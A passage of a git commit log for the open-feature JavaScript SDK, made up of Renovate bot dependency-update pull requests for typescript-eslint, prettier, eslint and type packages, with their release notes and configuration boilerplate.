[#&#8203;5882](https://togithub.com/typescript-eslint/typescript-eslint/issues/5882)
[#&#8203;5864](https://togithub.com/typescript-eslint/typescript-eslint/issues/5864)
[#&#8203;3076](https://togithub.com/typescript-eslint/typescript-eslint/issues/3076)
[#&#8203;5834](https://togithub.com/typescript-eslint/typescript-eslint/issues/5834)
[#&#8203;5882](https://togithub.com/typescript-eslint/typescript-eslint/issues/5882)
[#&#8203;5864](https://togithub.com/typescript-eslint/typescript-eslint/issues/5864)
[#&#8203;5889](https://togithub.com/typescript-eslint/typescript-eslint/issues/5889)
[#&#8203;5834](https://togithub.com/typescript-eslint/typescript-eslint/issues/5834)
[#&#8203;5882](https://togithub.com/typescript-eslint/typescript-eslint/issues/5882)
[#&#8203;5864](https://togithub.com/typescript-eslint/typescript-eslint/issues/5864)
[#&#8203;5883](https://togithub.com/typescript-eslint/typescript-eslint/issues/5883)
[#&#8203;4863](https://togithub.com/typescript-eslint/typescript-eslint/issues/4863)
[#&#8203;5381](https://togithub.com/typescript-eslint/typescript-eslint/issues/5381)
[#&#8203;5256](https://togithub.com/typescript-eslint/typescript-eslint/issues/5256)
[#&#8203;5399](https://togithub.com/typescript-eslint/typescript-eslint/issues/5399)
- fork json schema types for better compat with ESLint rule validation
([#&#8203;6963](https://togithub.com/typescript-eslint/typescript-eslint/issues/6963))
([a4967f2](a4967f2e8c))
- improve rule schemas, add test to validate schemas, add tooling to
generate schema types
([#&#8203;6899](https://togithub.com/typescript-eslint/typescript-eslint/issues/6899))
([acc1a43](acc1a43e02))
- made BaseNode.parent non-optional
([#&#8203;5252](https://togithub.com/typescript-eslint/typescript-eslint/issues/5252))
([a4768f3](a4768f38ef)),
closes
[#&#8203;5036](https://togithub.com/typescript-eslint/typescript-eslint/issues/5036)
[#&#8203;5834](https://togithub.com/typescript-eslint/typescript-eslint/issues/5834)
[#&#8203;5882](https://togithub.com/typescript-eslint/typescript-eslint/issues/5882)
[#&#8203;5864](https://togithub.com/typescript-eslint/typescript-eslint/issues/5864)
[#&#8203;3076](https://togithub.com/typescript-eslint/typescript-eslint/issues/3076)
[#&#8203;5834](https://togithub.com/typescript-eslint/typescript-eslint/issues/5834)
[#&#8203;5882](https://togithub.com/typescript-eslint/typescript-eslint/issues/5882)
[#&#8203;5864](https://togithub.com/typescript-eslint/typescript-eslint/issues/5864)
[#&#8203;5889](https://togithub.com/typescript-eslint/typescript-eslint/issues/5889)
[#&#8203;5834](https://togithub.com/typescript-eslint/typescript-eslint/issues/5834)
[#&#8203;5882](https://togithub.com/typescript-eslint/typescript-eslint/issues/5882)
[#&#8203;5864](https://togithub.com/typescript-eslint/typescript-eslint/issues/5864)
[#&#8203;5883](https://togithub.com/typescript-eslint/typescript-eslint/issues/5883)
[#&#8203;4863](https://togithub.com/typescript-eslint/typescript-eslint/issues/4863)
[#&#8203;5381](https://togithub.com/typescript-eslint/typescript-eslint/issues/5381)
[#&#8203;5256](https://togithub.com/typescript-eslint/typescript-eslint/issues/5256)
[#&#8203;5399](https://togithub.com/typescript-eslint/typescript-eslint/issues/5399)
- remove `RuleTester` in `/utils` in favour of the new `/rule-tester`
package
([#&#8203;6816](https://togithub.com/typescript-eslint/typescript-eslint/issues/6816))
([c33f497](c33f497ad8))
- remove partial type-information program
([#&#8203;6066](https://togithub.com/typescript-eslint/typescript-eslint/issues/6066))
([7fc062a](7fc062abc3))
- **typescript-estree:** add type checker wrapper APIs to
ParserServicesWithTypeInformation
([#&#8203;6404](https://togithub.com/typescript-eslint/typescript-eslint/issues/6404))
([62d5755](62d5755956))
- **typescript-estree:** added allowInvalidAST option to not throw on
invalid tokens
([#&#8203;6247](https://togithub.com/typescript-eslint/typescript-eslint/issues/6247))
([a3b177d](a3b177d59a))
- **typescript-estree:** check for illegal decorators on function
declarations
([#&#8203;6590](https://togithub.com/typescript-eslint/typescript-eslint/issues/6590))
([1b39cfd](1b39cfd307))
- **typescript-estree:** check modifiers on every node
([#&#8203;6615](https://togithub.com/typescript-eslint/typescript-eslint/issues/6615))
([62d6230](62d62304e1))
- **typescript-estree:** remove optionality from AST boolean properties
([#&#8203;6274](https://togithub.com/typescript-eslint/typescript-eslint/issues/6274))
([df131e2](df131e258c))
- **typescript-estree:** throw errors for object methods without
function bodies
([#&#8203;6589](https://togithub.com/typescript-eslint/typescript-eslint/issues/6589))
([1d78576](1d78576d41))
- **typescript-estree:** throw errors when abstract property has
initializer
([#&#8203;6613](https://togithub.com/typescript-eslint/typescript-eslint/issues/6613))
([dcdbc76](dcdbc76d54))

##### BREAKING CHANGES

-   **eslint-plugin:** Adds an additional class of checks to the rule
-   drop support for ESLint v6
-   drops support for node v17
- Bumps the minimum supported range and removes handling for old
versions
-   drops support for node v12

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

</details>

<details>
<summary>typescript-eslint/typescript-eslint
(@&#8203;typescript-eslint/parser)</summary>

###
[`v6.14.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#6140-2023-12-11)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v6.13.2...v6.14.0)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

####
[6.13.2](https://togithub.com/typescript-eslint/typescript-eslint/compare/v6.13.1...v6.13.2)
(2023-12-04)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

####
[6.13.1](https://togithub.com/typescript-eslint/typescript-eslint/compare/v6.13.0...v6.13.1)
(2023-11-28)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v6.13.2`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#6132-2023-12-04)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v6.13.1...v6.13.2)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v6.13.1`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#6131-2023-11-28)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v6.13.0...v6.13.1)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v6.13.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#6130-2023-11-27)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v6.12.0...v6.13.0)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v6.12.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#6120-2023-11-20)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v6.11.0...v6.12.0)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v6.11.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#6110-2023-11-13)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v6.10.0...v6.11.0)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v6.10.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#6100-2023-11-06)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v6.9.1...v6.10.0)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

####
[6.9.1](https://togithub.com/typescript-eslint/typescript-eslint/compare/v6.9.0...v6.9.1)
(2023-10-30)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v6.9.1`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#691-2023-10-30)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v6.9.0...v6.9.1)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v6.9.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#690-2023-10-23)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v6.8.0...v6.9.0)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v6.8.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#680-2023-10-16)

[Compa

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these
updates again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy4zMS4yIiwidXBkYXRlZEluVmVyIjoiMzcuODcuMiIsInRhcmdldEJyYW5jaCI6Im1haW4ifQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-12-11 23:37:49 -05:00
renovate[bot] ca23a21aab
chore(deps): update dependency prettier to v3.1.1 (#716)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [prettier](https://prettier.io)
([source](https://togithub.com/prettier/prettier)) | [`3.1.0` ->
`3.1.1`](https://renovatebot.com/diffs/npm/prettier/3.1.0/3.1.1) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/prettier/3.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/prettier/3.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/prettier/3.1.0/3.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/prettier/3.1.0/3.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>prettier/prettier (prettier)</summary>

###
[`v3.1.1`](https://togithub.com/prettier/prettier/blob/HEAD/CHANGELOG.md#311)

[Compare
Source](https://togithub.com/prettier/prettier/compare/3.1.0...3.1.1)

[diff](https://togithub.com/prettier/prettier/compare/3.1.0...3.1.1)

##### Fix config file search
([#&#8203;15363](https://togithub.com/prettier/prettier/pull/15363) by
[@&#8203;fisker](https://togithub.com/fisker))

Previously, we start search for config files from the filePath as a
directory, if it happened to be a directory and contains config file, it
will be used by mistake.

```text
├─ .prettierrc
└─ test.js         (A directory)
  └─ .prettierrc
```

```js
// Prettier 3.1.0
await prettier.resolveConfigFile(new URL("./test.js", import.meta.url));
// <CWD>/test.js/.prettierrc

// Prettier 3.1.1
await prettier.resolveConfigFile(new URL("./test.js", import.meta.url));
// <CWD>/.prettierrc
```

##### Skip explicitly passed symbolic links with
`--no-error-on-unmatched-pattern`
([#&#8203;15533](https://togithub.com/prettier/prettier/pull/15533) by
[@&#8203;sanmai-NL](https://togithub.com/sanmai-NL))

Since Prettier v3, we stopped following symbolic links, however in some
use cases, the symbolic link patterns can't be filtered out, and there
is no way to prevent Prettier from throwing errors.

In Prettier 3.1.1, you can use `--no-error-on-unmatched-pattern` to
simply skip symbolic links.

##### Consistently use tabs in ternaries when `useTabs` is `true`
([#&#8203;15662](https://togithub.com/prettier/prettier/pull/15662) by
[@&#8203;auvred](https://togithub.com/auvred))

<!-- prettier-ignore -->

```jsx
// Input
aaaaaaaaaaaaaaa
	? bbbbbbbbbbbbbbbbbb
	: ccccccccccccccc
	  ? ddddddddddddddd
	  : eeeeeeeeeeeeeee
	    ? fffffffffffffff
	    : gggggggggggggggg;

// Prettier 3.1.0
aaaaaaaaaaaaaaa
	? bbbbbbbbbbbbbbbbbb
	: ccccccccccccccc
	  ? ddddddddddddddd
	  : eeeeeeeeeeeeeee
	    ? fffffffffffffff
	    : gggggggggggggggg;

// Prettier 3.1.1
aaaaaaaaaaaaaaa
	? bbbbbbbbbbbbbbbbbb
	: ccccccccccccccc
		? ddddddddddddddd
		: eeeeeeeeeeeeeee
			? fffffffffffffff
			: gggggggggggggggg;
```

##### Improve config file search
([#&#8203;15663](https://togithub.com/prettier/prettier/pull/15663) by
[@&#8203;fisker](https://togithub.com/fisker))

The Prettier config file search performance has been improved by more
effective cache strategy.

##### Fix unstable and ugly formatting for comments in destructuring
patterns
([#&#8203;15708](https://togithub.com/prettier/prettier/pull/15708) by
[@&#8203;sosukesuzuki](https://togithub.com/sosukesuzuki))

<!-- prettier-ignore -->

```tsx
// Input
const {
  foo,
  // bar
  // baz
}: Foo = expr;

// Prettier 3.1.0
const {
  foo1,
} // bar
// baz
: Foo = expr;

// Prettier 3.1.0 second output
const {
  foo1, // bar
} // baz
: Foo = expr;

// Prettier 3.1.1
const {
  foo1,
  // bar
  // baz
}: Foo = expr;
```

##### Support "Import Attributes"
([#&#8203;15718](https://togithub.com/prettier/prettier/pull/15718) by
[@&#8203;fisker](https://togithub.com/fisker))

[TypeScript
5.3](https://devblogs.microsoft.com/typescript/announcing-typescript-5-3/#import-attributes)
supports the latest updates to the [import
attributes](https://togithub.com/tc39/proposal-import-attributes)
proposal.

```tsx
import something from "./something.json" with { type: "json" };
```

##### Fix false claim in docs that cursorOffset is incompatible with
rangeStart/rangeEnd
([#&#8203;15750](https://togithub.com/prettier/prettier/pull/15750) by
[@&#8203;ExplodingCabbage](https://togithub.com/ExplodingCabbage))

The cursorOffset option has in fact been compatible with
rangeStart/rangeEnd for over 5 years, thanks to work by
[@&#8203;ds300](https://togithub.com/ds300). However, Prettier's
documentation (including the CLI `--help` text) continued to claim
otherwise, falsely. The documentation is now fixed.

##### Keep curly braces and `from` keyword in empty `import` statements
([#&#8203;15756](https://togithub.com/prettier/prettier/pull/15756) by
[@&#8203;fisker](https://togithub.com/fisker))

<!-- prettier-ignore -->

```js
// Input
import { } from 'foo';
import { /* comment */ } from 'bar';

// Prettier 3.1.0
import {} from "foo";
import /* comment */ "bar";

// Prettier 3.1.1
import {} from "foo";
import {} from /* comment */ "bar";
```

##### Keep empty import attributes and assertions
([#&#8203;15757](https://togithub.com/prettier/prettier/pull/15757) by
[@&#8203;fisker](https://togithub.com/fisker))

<!-- prettier-ignore -->

```js
// Input
import foo from "foo" with {};
import bar from "bar" assert {};

// Prettier 3.1.0
import foo from "foo";
import bar from "bar";

// Prettier 3.1.1
import foo from "foo" with {};
import bar from "bar" assert {};
```

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy44Ny4yIiwidXBkYXRlZEluVmVyIjoiMzcuODcuMiIsInRhcmdldEJyYW5jaCI6Im1haW4ifQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-12-11 23:33:25 -05:00
renovate[bot] ecd7cf43ab
chore(deps): update dependency @types/node to v18.19.3 (#694)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[@types/node](https://togithub.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node)
([source](https://togithub.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node))
| [`18.18.9` ->
`18.19.3`](https://renovatebot.com/diffs/npm/@types%2fnode/18.18.9/18.19.3)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fnode/18.19.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fnode/18.19.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fnode/18.18.9/18.19.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fnode/18.18.9/18.19.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy41OS44IiwidXBkYXRlZEluVmVyIjoiMzcuODcuMiIsInRhcmdldEJyYW5jaCI6Im1haW4ifQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-12-11 23:28:30 -05:00
renovate[bot] ba74cf4f6c
chore(deps): update dependency @types/react to v18.2.43 (#668)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[@types/react](https://togithub.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/react)
([source](https://togithub.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/react))
| [`18.2.33` ->
`18.2.43`](https://renovatebot.com/diffs/npm/@types%2freact/18.2.33/18.2.43)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2freact/18.2.43?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2freact/18.2.43?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2freact/18.2.33/18.2.43?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2freact/18.2.33/18.2.43?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy41OS44IiwidXBkYXRlZEluVmVyIjoiMzcuODcuMiIsInRhcmdldEJyYW5jaCI6Im1haW4ifQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-12-12 03:45:09 +00:00
renovate[bot] 44270b82f0
chore(deps): update dependency eslint to v8.55.0 (#710)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [eslint](https://eslint.org)
([source](https://togithub.com/eslint/eslint)) | [`8.53.0` ->
`8.55.0`](https://renovatebot.com/diffs/npm/eslint/8.53.0/8.55.0) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/eslint/8.55.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/eslint/8.55.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/eslint/8.53.0/8.55.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/eslint/8.53.0/8.55.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>eslint/eslint (eslint)</summary>

### [`v8.55.0`](https://togithub.com/eslint/eslint/releases/tag/v8.55.0)

[Compare
Source](https://togithub.com/eslint/eslint/compare/v8.54.0...v8.55.0)

#### Features

-
[`8c9e6c1`](8c9e6c100a)
feat: importNamePattern option in no-restricted-imports
([#&#8203;17721](https://togithub.com/eslint/eslint/issues/17721))
(Tanuj Kanti)

#### Documentation

-
[`83ece2a`](83ece2afc2)
docs: fix typo `--rules` -> `--rule`
([#&#8203;17806](https://togithub.com/eslint/eslint/issues/17806))
(OKURA Masafumi)
-
[`fffca5c`](fffca5c362)
docs: remove "Open in Playground" buttons for removed rules
([#&#8203;17791](https://togithub.com/eslint/eslint/issues/17791))
(Francesco Trotta)
-
[`a6d9442`](a6d9442a9a)
docs: fix correct/incorrect examples of rules
([#&#8203;17789](https://togithub.com/eslint/eslint/issues/17789))
(Tanuj Kanti)
-
[`383e999`](383e99928d)
docs: update and fix examples for `no-unused-vars`
([#&#8203;17788](https://togithub.com/eslint/eslint/issues/17788))
(Tanuj Kanti)
-
[`5a8efd5`](5a8efd5b7a)
docs: add specific stylistic rule for each deprecated rule
([#&#8203;17778](https://togithub.com/eslint/eslint/issues/17778))
(Etienne)

#### Chores

-
[`eb8950c`](eb8950c3b8)
chore: upgrade
[@&#8203;eslint/js](https://togithub.com/eslint/js)[@&#8203;8](https://togithub.com/8).55.0
([#&#8203;17811](https://togithub.com/eslint/eslint/issues/17811))
(Milos Djermanovic)
-
[`93df384`](93df3849a7)
chore: package.json update for
[@&#8203;eslint/js](https://togithub.com/eslint/js) release (Jenkins)
-
[`fe4b954`](fe4b9545a8)
chore: upgrade
[@&#8203;eslint/eslintrc](https://togithub.com/eslint/eslintrc)[@&#8203;2](https://togithub.com/2).1.4
([#&#8203;17799](https://togithub.com/eslint/eslint/issues/17799))
(Milos Djermanovic)
-
[`bd8911d`](bd8911db85)
ci: pin Node.js 21.2.0
([#&#8203;17809](https://togithub.com/eslint/eslint/issues/17809))
(Milos Djermanovic)
-
[`b29a16b`](b29a16b22f)
chore: fix several `cli` tests to run in the intended flat config mode
([#&#8203;17797](https://togithub.com/eslint/eslint/issues/17797))
(Milos Djermanovic)
-
[`de165c1`](de165c1082)
chore: remove unused config-extends fixtures
([#&#8203;17781](https://togithub.com/eslint/eslint/issues/17781))
(Milos Djermanovic)
-
[`d4304b8`](d4304b8b66)
chore: remove formatting/stylistic rules from new rule templates
([#&#8203;17780](https://togithub.com/eslint/eslint/issues/17780))
(Francesco Trotta)
-
[`21024fe`](21024fe202)
chore: check rule examples for syntax errors
([#&#8203;17718](https://togithub.com/eslint/eslint/issues/17718))
(Francesco Trotta)

### [`v8.54.0`](https://togithub.com/eslint/eslint/releases/tag/v8.54.0)

[Compare
Source](https://togithub.com/eslint/eslint/compare/v8.53.0...v8.54.0)

#### Features

-
[`a7a883b`](a7a883bd6b)
feat: for-direction rule add check for condition in reverse order
([#&#8203;17755](https://togithub.com/eslint/eslint/issues/17755))
(Angelo Annunziata)
-
[`1452dc9`](1452dc9f12)
feat: Add suggestions to no-console
([#&#8203;17680](https://togithub.com/eslint/eslint/issues/17680)) (Joel
Mathew Koshy)
-
[`21ebf8a`](21ebf8a811)
feat: update `no-array-constructor` rule
([#&#8203;17711](https://togithub.com/eslint/eslint/issues/17711))
(Francesco Trotta)

#### Bug Fixes

-
[`98926e6`](98926e6e73)
fix: Ensure that extra data is not accidentally stored in the cache file
([#&#8203;17760](https://togithub.com/eslint/eslint/issues/17760))
(Milos Djermanovic)
-
[`e8cf9f6`](e8cf9f6a52)
fix: Make dark scroll bar in dark theme
([#&#8203;17753](https://togithub.com/eslint/eslint/issues/17753))
(Pavel)
-
[`3cbeaad`](3cbeaad7b9)
fix: Use `cwd` constructor option as config `basePath` in Linter
([#&#8203;17705](https://togithub.com/eslint/eslint/issues/17705))
(Milos Djermanovic)

#### Documentation

-
[`becfdd3`](becfdd39b2)
docs: Make clear when rules are removed
([#&#8203;17728](https://togithub.com/eslint/eslint/issues/17728))
(Nicholas C. Zakas)
-
[`05d6e99`](05d6e99153)
docs: update "Submit a Pull Request" page
([#&#8203;17712](https://togithub.com/eslint/eslint/issues/17712))
(Francesco Trotta)
-
[`eb2279e`](eb2279e514)
docs: display info about deprecated rules
([#&#8203;17749](https://togithub.com/eslint/eslint/issues/17749))
(Percy Ma)
-
[`d245326`](d24532601e)
docs: Correct working in migrating plugin docs
([#&#8203;17722](https://togithub.com/eslint/eslint/issues/17722))
(Filip Tammergård)

#### Chores

-
[`d644de9`](d644de9a4b)
chore: upgrade
[@&#8203;eslint/js](https://togithub.com/eslint/js)[@&#8203;8](https://togithub.com/8).54.0
([#&#8203;17773](https://togithub.com/eslint/eslint/issues/17773))
(Milos Djermanovic)
-
[`1e6e314`](1e6e31415c)
chore: package.json update for
[@&#8203;eslint/js](https://togithub.com/eslint/js) release (Jenkins)
-
[`6fb8805`](6fb8805310)
chore: Fixed grammar in issue_templates/rule_change
([#&#8203;17770](https://togithub.com/eslint/eslint/issues/17770)) (Joel
Mathew Koshy)
-
[`85db724`](85db7243dd)
chore: upgrade `markdownlint` to 0.31.1
([#&#8203;17754](https://togithub.com/eslint/eslint/issues/17754))
(Nitin Kumar)
-
[`6d470d2`](6d470d2e74)
chore: update dependency recast to ^0.23.0
([#&#8203;17736](https://togithub.com/eslint/eslint/issues/17736))
(renovate\[bot])
-
[`b7121b5`](b7121b590d)
chore: update dependency markdownlint-cli to ^0.37.0
([#&#8203;17735](https://togithub.com/eslint/eslint/issues/17735))
(renovate\[bot])
-
[`633b9a1`](633b9a1975)
chore: update dependency regenerator-runtime to ^0.14.0
([#&#8203;17739](https://togithub.com/eslint/eslint/issues/17739))
(renovate\[bot])
-
[`acac16f`](acac16fdf8)
chore: update dependency vite-plugin-commonjs to ^0.10.0
([#&#8203;17740](https://togithub.com/eslint/eslint/issues/17740))
(renovate\[bot])
-
[`ba8ca7e`](ba8ca7e3de)
chore: add .github/renovate.json5
([#&#8203;17567](https://togithub.com/eslint/eslint/issues/17567)) (Josh
Goldberg )

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

